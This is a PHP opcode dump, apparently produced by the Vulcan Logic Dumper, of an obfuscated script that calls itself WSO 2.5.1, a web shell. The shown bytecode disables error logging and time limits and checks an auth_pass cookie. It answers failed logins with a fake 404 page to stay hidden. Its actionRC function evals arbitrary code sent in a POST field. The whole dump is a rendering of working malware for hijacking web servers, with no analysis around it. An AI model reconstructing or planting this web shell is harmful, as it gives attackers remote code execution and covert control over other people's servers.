Finding entry points Branch analysis from position: 0 2 jumps found. (Code = 43) Position 1 = 70, Position 2 = 85 Branch analysis from position: 70 2 jumps found. (Code = 43) Position 1 = 89, Position 2 = 137 Branch analysis from position: 89 2 jumps found. (Code = 46) Position 1 = 94, Position 2 = 102 Branch analysis from position: 94 2 jumps found. (Code = 43) Position 1 = 103, Position 2 = 115 Branch analysis from position: 103 2 jumps found. (Code = 47) Position 1 = 124, Position 2 = 134 Branch analysis from position: 124 2 jumps found. (Code = 43) Position 1 = 135, Position 2 = 137 Branch analysis from position: 135 2 jumps found. (Code = 43) Position 1 = 140, Position 2 = 169 Branch analysis from position: 140 2 jumps found. (Code = 46) Position 1 = 150, Position 2 = 158 Branch analysis from position: 150 2 jumps found. (Code = 43) Position 1 = 159, Position 2 = 166 Branch analysis from position: 159 1 jumps found. (Code = 42) Position 1 = 169 Branch analysis from position: 169 2 jumps found. (Code = 46) Position 1 = 173, Position 2 = 180 Branch analysis from position: 173 2 jumps found. (Code = 43) Position 1 = 181, Position 2 = 186 Branch analysis from position: 181 1 jumps found. (Code = 79) Position 1 = -2 Branch analysis from position: 186 Branch analysis from position: 180 Branch analysis from position: 166 2 jumps found. (Code = 46) Position 1 = 173, Position 2 = 180 Branch analysis from position: 173 Branch analysis from position: 180 Branch analysis from position: 158 Branch analysis from position: 169 Branch analysis from position: 137 Branch analysis from position: 134 Branch analysis from position: 115 Branch analysis from position: 102 Branch analysis from position: 137 Branch analysis from position: 85 filename: /in/mMoik function name: (null) number of ops: 188 compiled vars: !0 = $oboikuury, !1 = $qyvsdolpq, !2 = $rhavvlolc, !3 = $ssfmrro line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 1 0 E > FETCH_W global $4 'GLOBALS' 1 ASSIGN_DIM $4, 'vrvweypznipu' 2 OP_DATA 'a' 3 FETCH_W global $6 'GLOBALS' 4 ASSIGN_DIM $6, 'griuefbdqc' 5 OP_DATA 'auth_pass' 6 FETCH_W global $8 'GLOBALS' 7 ASSIGN_DIM $8, 'ctxvtooknmju' 8 OP_DATA 'v' 9 FETCH_W global $10 'GLOBALS' 10 ASSIGN_DIM $10, 'pioykcea' 11 OP_DATA 'default_use_ajax' 12 FETCH_W global $12 'GLOBALS' 13 ASSIGN_DIM $12, 'iwirmxlqtvyp' 14 OP_DATA 'default_action' 15 FETCH_W global $14 'GLOBALS' 16 ASSIGN_DIM $14, 'dwembjc' 17 OP_DATA 'color' 18 FETCH_R global ~16 'GLOBALS' 19 FETCH_DIM_R ~17 ~16, 'dwembjc' 20 FETCH_W local $18 ~17 21 ASSIGN $18, '%23df5' 22 FETCH_R global ~20 'GLOBALS' 23 FETCH_DIM_R ~21 ~20, 'iwirmxlqtvyp' 24 FETCH_W local $22 ~21 25 ASSIGN $22, 'FilesMan' 26 ASSIGN !0, 'default_charset' 27 FETCH_R global ~25 'GLOBALS' 28 FETCH_DIM_R ~26 ~25, 'pioykcea' 29 FETCH_W local $27 ~26 30 ASSIGN $27, <true> 31 FETCH_W local $29 !0 32 ASSIGN $29, 'Windows-1251' 33 BEGIN_SILENCE ~31 34 INIT_FCALL 'ini_set' 35 SEND_VAL 'error_log' 36 SEND_VAL null 37 DO_ICALL 38 END_SILENCE ~31 39 BEGIN_SILENCE ~33 40 INIT_FCALL 'ini_set' 41 SEND_VAL 'log_errors' 42 SEND_VAL 0 43 DO_ICALL 44 END_SILENCE ~33 45 BEGIN_SILENCE ~35 46 INIT_FCALL 'ini_set' 47 SEND_VAL 'max_execution_time' 48 SEND_VAL 0 49 DO_ICALL 50 END_SILENCE ~35 51 BEGIN_SILENCE ~37 52 INIT_FCALL 'set_time_limit' 53 SEND_VAL 0 54 DO_ICALL 55 END_SILENCE ~37 56 BEGIN_SILENCE ~39 57 INIT_FCALL_BY_NAME 'set_magic_quotes_runtime' 58 SEND_VAL_EX 0 59 DO_FCALL 0 60 END_SILENCE ~39 61 BEGIN_SILENCE ~41 62 INIT_FCALL 'define' 63 SEND_VAL 'WSO_VERSION' 64 SEND_VAL '2.5.1' 65 DO_ICALL 66 END_SILENCE ~41 67 INIT_FCALL_BY_NAME 'get_magic_quotes_gpc' 68 DO_FCALL 0 $43 69 > JMPZ $43, ->85 70 > DECLARE_FUNCTION 'wsostripslashes' 71 INIT_FCALL_BY_NAME 'WSOstripslashes' 72 CHECK_FUNC_ARG 73 FETCH_FUNC_ARG global $45 '_POST' 74 SEND_FUNC_ARG $45 75 DO_FCALL 0 $46 76 FETCH_W global $44 '_POST' 77 ASSIGN $44, $46 78 INIT_FCALL_BY_NAME 'WSOstripslashes' 79 CHECK_FUNC_ARG 80 FETCH_FUNC_ARG global $49 '_COOKIE' 81 SEND_FUNC_ARG $49 82 DO_FCALL 0 $50 83 FETCH_W global $48 '_COOKIE' 84 ASSIGN $48, $50 85 > ASSIGN !1, 'auth_pass' 86 ISSET_ISEMPTY_VAR 5 ~53 !1 87 BOOL_NOT ~54 ~53 88 > JMPZ ~54, ->137 89 > ASSIGN !2, 'auth_pass' 90 ASSIGN !3, 'auth_pass' 91 FETCH_IS ~57 '_POST' 92 ISSET_ISEMPTY_DIM_OBJ 0 ~58 ~57, 'pass' 93 > JMPZ_EX ~58 ~58, ->102 94 > INIT_FCALL 'md5' 95 FETCH_R global ~59 '_POST' 96 FETCH_DIM_R ~60 ~59, 'pass' 97 SEND_VAL ~60 98 DO_ICALL $61 99 FETCH_R local ~62 !3 100 IS_EQUAL ~63 $61, ~62 101 BOOL ~58 ~63 102 > > JMPZ ~58, ->115 103 > INIT_FCALL 'wsosetcookie' 104 INIT_FCALL 'md5' 105 FETCH_R global ~64 '_SERVER' 106 FETCH_DIM_R ~65 ~64, 'HTTP_HOST' 107 SEND_VAL ~65 108 DO_ICALL $66 109 SEND_VAR $66 110 FETCH_R global ~67 'GLOBALS' 111 FETCH_DIM_R ~68 ~67, 'griuefbdqc' 112 FETCH_R local ~69 ~68 113 SEND_VAL ~69 114 DO_FCALL 0 115 > INIT_FCALL 'md5' 116 FETCH_R global ~72 '_SERVER' 117 FETCH_DIM_R ~73 ~72, 'HTTP_HOST' 118 SEND_VAL ~73 119 DO_ICALL $74 120 FETCH_IS ~71 '_COOKIE' 121 ISSET_ISEMPTY_DIM_OBJ 0 ~75 ~71, $74 122 BOOL_NOT ~76 ~75 123 > JMPNZ_EX ~76 ~76, ->134 124 > INIT_FCALL 'md5' 125 FETCH_R global ~78 '_SERVER' 126 FETCH_DIM_R ~79 ~78, 'HTTP_HOST' 127 SEND_VAL ~79 128 DO_ICALL $80 129 FETCH_R global ~77 '_COOKIE' 130 FETCH_DIM_R ~81 ~77, $80 131 FETCH_R local ~82 !2 132 IS_NOT_EQUAL ~83 ~81, ~82 133 BOOL ~76 ~83 134 > > JMPZ ~76, ->137 135 > INIT_FCALL 'wsologin' 136 DO_FCALL 0 137 > FETCH_IS ~85 '_POST' 138 ISSET_ISEMPTY_DIM_OBJ 1 ~85, 'a' 139 > JMPZ ~86, ->169 140 > FETCH_W global $87 'GLOBALS' 141 ASSIGN_DIM $87, 'isvexy' 142 OP_DATA 'default_action' 143 FETCH_W global $89 'GLOBALS' 144 ASSIGN_DIM $89, 'uoechymzddd' 145 OP_DATA 'default_action' 146 FETCH_R global ~91 'GLOBALS' 147 FETCH_DIM_R ~92 ~91, 'iwirmxlqtvyp' 148 ISSET_ISEMPTY_VAR 4 ~93 ~92 149 > JMPZ_EX ~93 ~93, ->158 150 > INIT_FCALL 'function_exists' 151 FETCH_R global ~94 'GLOBALS' 152 FETCH_DIM_R ~95 ~94, 'uoechymzddd' 153 FETCH_R local ~96 ~95 154 CONCAT ~97 'action', ~96 155 SEND_VAL ~97 156 DO_ICALL $98 157 BOOL ~93 $98 158 > > JMPZ ~93, ->166 159 > FETCH_R global ~101 'GLOBALS' 160 FETCH_DIM_R ~102 ~101, 'isvexy' 161 FETCH_R local ~103 ~102 162 FETCH_W global $99 '_POST' 163 ASSIGN_DIM $99, 'a' 164 OP_DATA ~103 165 > JMP ->169 166 > FETCH_W global $104 '_POST' 167 ASSIGN_DIM $104, 'a' 168 OP_DATA 'SecInfo' 169 > FETCH_IS ~106 '_POST' 170 ISSET_ISEMPTY_DIM_OBJ 1 ~107 ~106, 'a' 171 BOOL_NOT ~108 ~107 172 > JMPZ_EX ~108 ~108, ->180 173 > INIT_FCALL 'function_exists' 174 FETCH_R global ~109 '_POST' 175 FETCH_DIM_R ~110 ~109, 'a' 176 CONCAT ~111 'action', ~110 177 SEND_VAL ~111 178 DO_ICALL $112 179 BOOL ~108 $112 180 > > JMPZ ~108, ->186 181 > FETCH_R global ~113 '_POST' 182 FETCH_DIM_R ~114 ~113, 'a' 183 CONCAT ~115 'action', ~114 184 INIT_USER_CALL 0 'call_user_func', ~115 185 DO_FCALL 0 186 > > EXIT 187* > RETURN 1 Function %00wsostripslashes%2Fin%2FmMoik%3A1%240: Finding entry points Branch analysis from position: 0 2 jumps found. (Code = 43) Position 1 = 13, Position 2 = 22 Branch analysis from position: 13 1 jumps found. (Code = 42) Position 1 = 27 Branch analysis from position: 27 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 22 1 jumps found. (Code = 62) Position 1 = -2 filename: /in/mMoik function name: WSOstripslashes number of ops: 29 compiled vars: !0 = $array, !1 = $cfnrvu line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 0 E > RECV !0 1 FETCH_W global $2 'GLOBALS' 2 ASSIGN_DIM $2, 'zdizbsuefa' 3 OP_DATA 'array' 4 ASSIGN !1, 'array' 5 FETCH_W global $5 'GLOBALS' 6 ASSIGN_DIM $5, 'kcltlpds' 7 OP_DATA 'array' 8 FETCH_R global ~7 'GLOBALS' 9 FETCH_DIM_R ~8 ~7, 'zdizbsuefa' 10 FETCH_R local ~9 ~8 11 TYPE_CHECK 128 ~9 12 > JMPZ ~10, ->22 13 > INIT_FCALL 'array_map' 14 SEND_VAL 'WSOstripslashes' 15 FETCH_R global ~11 'GLOBALS' 16 FETCH_DIM_R ~12 ~11, 'kcltlpds' 17 FETCH_R local ~13 ~12 18 SEND_VAL ~13 19 DO_ICALL $14 20 QM_ASSIGN ~15 $14 21 > JMP ->27 22 > INIT_FCALL 'stripslashes' 23 FETCH_R local ~16 !1 24 SEND_VAL ~16 25 DO_ICALL $17 26 QM_ASSIGN ~15 $17 27 > > RETURN ~15 28* > RETURN null End of function %00wsostripslashes%2Fin%2FmMoik%3A1%240 Function wsologin: Finding entry points Branch analysis from position: 0 1 jumps found. (Code = 79) Position 1 = -2 filename: /in/mMoik function name: wsoLogin number of ops: 5 compiled vars: none line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 0 E > INIT_FCALL 'header' 1 SEND_VAL 'HTTP%2F1.0+404+Not+Found' 2 DO_ICALL 3 > EXIT '404' 4* > RETURN null End of function wsologin Function wsosetcookie: Finding entry points Branch analysis from position: 0 1 jumps found. (Code = 62) Position 1 = -2 filename: /in/mMoik function name: WSOsetcookie number of ops: 23 compiled vars: !0 = $k, !1 = $v, !2 = $cjtmrt, !3 = $raogrsixpi line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 0 E > RECV !0 1 RECV !1 2 FETCH_W global $4 'GLOBALS' 3 ASSIGN_DIM $4, 'gvflxmt' 4 OP_DATA 'k' 5 ASSIGN !2, 'v' 6 FETCH_R global ~8 'GLOBALS' 7 FETCH_DIM_R ~9 ~8, 'gvflxmt' 8 FETCH_R local ~10 ~9 9 FETCH_R global ~12 'GLOBALS' 10 FETCH_DIM_R ~13 ~12, 'ctxvtooknmju' 11 FETCH_R local ~14 ~13 12 FETCH_W global $7 '_COOKIE' 13 ASSIGN_DIM $7, ~10 14 OP_DATA ~14 15 ASSIGN !3, 'k' 16 INIT_FCALL 'setcookie' 17 FETCH_R local ~16 !3 18 SEND_VAL ~16 19 FETCH_R local ~17 !2 20 SEND_VAL ~17 21 DO_ICALL 22 > RETURN null End of function wsosetcookie Function actionrc: Finding entry points Branch analysis from position: 0 2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 31 Branch analysis from position: 6 1 jumps found. (Code = 42) Position 1 = 34 Branch analysis from position: 34 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 31 1 jumps found. (Code = 62) Position 1 = -2 filename: /in/mMoik function name: actionRC number of ops: 35 compiled vars: !0 = $ugtfpiyrum line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 0 E > BEGIN_SILENCE ~1 1 FETCH_R global ~2 '_POST' 2 FETCH_DIM_R ~3 ~2, 'p1' 3 END_SILENCE ~1 4 BOOL_NOT ~4 ~3 5 > JMPZ ~4, ->31 6 > ASSIGN !0, 'a' 7 FETCH_R global ~6 'GLOBALS' 8 FETCH_DIM_R ~7 ~6, 'vrvweypznipu' 9 INIT_FCALL 'php_uname' 10 DO_ICALL $9 11 INIT_ARRAY ~10 $9, 'uname' 12 INIT_FCALL 'phpversion' 13 DO_ICALL $11 14 ADD_ARRAY_ELEMENT ~10 $11, 'php_version' 15 FETCH_CONSTANT ~12 'WSO_VERSION' 16 ADD_ARRAY_ELEMENT ~10 ~12, 'wso_version' 17 BEGIN_SILENCE ~13 18 INIT_FCALL 'ini_get' 19 SEND_VAL 'safe_mode' 20 DO_ICALL $14 21 END_SILENCE ~13 22 ADD_ARRAY_ELEMENT ~10 $14, 'safemode' 23 FETCH_W local $8 ~7 24 ASSIGN $8, ~10 25 INIT_FCALL 'serialize' 26 FETCH_R local ~16 !0 27 SEND_VAL ~16 28 DO_ICALL $17 29 ECHO $17 30 > JMP ->34 31 > FETCH_R global ~18 '_POST' 32 FETCH_DIM_R ~19 ~18, 'p1' 33 INCLUDE_OR_EVAL ~19, EVAL 34 > > RETURN null End of function actionrc
Generated using Vulcan Logic Dumper, using php 8.0.0